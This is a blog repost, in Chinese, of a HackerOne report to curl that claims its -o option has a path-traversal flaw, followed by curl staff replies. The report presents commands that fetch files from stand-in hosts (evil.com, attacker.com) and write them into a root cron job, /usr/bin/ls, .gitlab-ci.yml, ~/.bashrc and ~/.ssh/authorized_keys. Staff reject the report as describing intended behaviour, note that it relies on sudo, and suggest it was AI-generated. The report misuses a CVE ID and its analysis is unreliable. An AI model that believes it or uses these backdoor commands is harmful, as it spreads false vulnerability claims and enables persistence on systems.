cURL CLI路径遍历漏洞:通过-o参数实现任意文件写入(CVE-2020-8284)

本文详细分析了cURL命令行工具中存在的路径遍历漏洞(CWE-22),攻击者可通过-o参数写入任意路径导致权限提升与远程代码执行,影响版本7.64.0至8.4.0,包含技术原理与复现步骤。

[高危] cURL CLI中通过路径遍历实现任意文件写入(-o/–output参数)(CWE-22:路径名限制不当)

时间线
oicus 向curl提交报告
2025年5月1日 6:30 UTC

摘要

cURL的-o/--output参数未对文件路径进行限制或清理。当传入相对路径遍历序列(如../../)时,cURL会将文件写入当前工作目录之外,导致任意文件覆盖。在自动化或特权环境(CI/CD、root容器)中,这可能引发远程代码执行(RCE)、权限提升和供应链风险。

该行为违反了cURL嵌入脚本或以提升权限运行时对路径安全性的预期。

受影响版本

受影响资产
组件:cURL CLI
受影响版本:cURL 7.64.0 至 8.4.0(已在7.64.0、7.79.1、7.85.0、8.4.0测试)
测试平台:Linux(Debian)、macOS、Alpine(Docker)
最新测试版本:
curl 7.85.0 (x86_64-pc-linux-gnu) libcurl/7.85.0 OpenSSL/3.0.2

技术根本原因

1
2
// 文件: src/tool_cfgable.c (约第512行)
getstr(&config->output, nextarg, DENY_BLANK); // CWE-22: 无验证/清理

未执行路径规范化(未使用realpath()),cURL允许任何相对/绝对路径。这形成了向敏感区域(如/etc/$HOME/.ssh/~/.bashrc)的写入原语。

复现步骤

前置条件

  • 文件目标可由当前用户写入(或使用root以展示完整影响)
  • 可无需用户交互自动化或脚本执行

利用过程

  1. 启动Web服务器:
    1
    
    python3 -m http.server 8000
    
  2. 运行存在漏洞的cURL:
    1
    
    sudo curl http://localhost:8000/backdoor.sh -o "../../etc/cron.daily/zzz-backdoor"
    
  3. 检查结果:
    1
    2
    
    ls -l /etc/cron.daily/zzz-backdoor
    cat /etc/cron.daily/zzz-backdoor
    
    下次cron运行时,zzz-backdoor将以root权限执行。

Docker容器(特权模式)

1
docker run --privileged alpine sh -c 'curl http://attacker.com/x.sh -o /usr/bin/ls'

CI/CD管道(供应链注入)

1
2
script:
  - curl http://evil.com -o "../../.gitlab-ci.yml"

用户级利用

1
2
curl http://evil.com -o "~/.bashrc"
curl http://evil.com/key.pub -o "~/.ssh/authorized_keys"

CVSS v3.1基础评分:7.8(高危)

AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

缓解与建议

修复建议
在写入前对路径进行规范化与验证:

1
2
3
4
5
char *resolved = realpath(nextarg, NULL);
if (!resolved || strstr(resolved, "..") != NULL || !is_subdir(resolved, safe_dir)) {
    warnf(config, "Unsafe output path blocked");
    return PARAM_BAD_USE;
}

支持证据

  • 源代码参考:src/tool_cfgable.c#L512
  • 类似CVE:CVE-2020-8284(cURL FTP路径遍历,已在7.73.0修复)
  • CWE:CWE-22

影响

向量 描述
任意文件写入 覆盖用户可访问的任何文件
权限提升 覆盖/etc/sudoers、/etc/passwd或root拥有的cron任务
RCE/持久化 通过登录脚本、bashrc或CI/CD配置覆盖植入后门
供应链注入 脚本化或基于容器的安装自动运行攻击者载荷

后续讨论

dfandrich (curl staff) 2025年5月1日 6:41 UTC
这是设计如此。cURL会将文件写入用户提供的任何路径。如果用户想写入~/.bashrc,cURL会愉快地执行。毕竟用户是老板。你建议cURL怎么做?

这份报告听起来可疑地类似于https://hackerone.com/reports/3100073。你也在用AI生成报告吗?

bagder (curl staff) 2025年5月1日 9:30 UTC
关闭报告并将状态改为"不适用"。
这是cURL的正常工作方式。不是安全问题。

jimfuller2024 (curl staff) 2025年5月2日 4:40 UTC
同意我同事的评论——此外——如果你的漏洞报告包含’>sudo curl’,不仅"用户是老板",而且这个特定用户是root,允许你做各种坏事。

bagder (curl staff) 2025年6月28日 12:24 UTC
请求公开此报告。

bagder (curl staff) 2025年6月30日 18:55 UTC
公开此报告。

报告元数据

项目 内容
报告时间 2025年5月1日 6:30 UTC
报告者 oicus
报告对象 curl
报告ID #3120987
严重程度 高危 (7 ~ 8.9)
公开时间 2025年6月30日 18:55 UTC
弱点类型 路径遍历
CVE ID CVE-2020-8284
奖金
账户详情
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计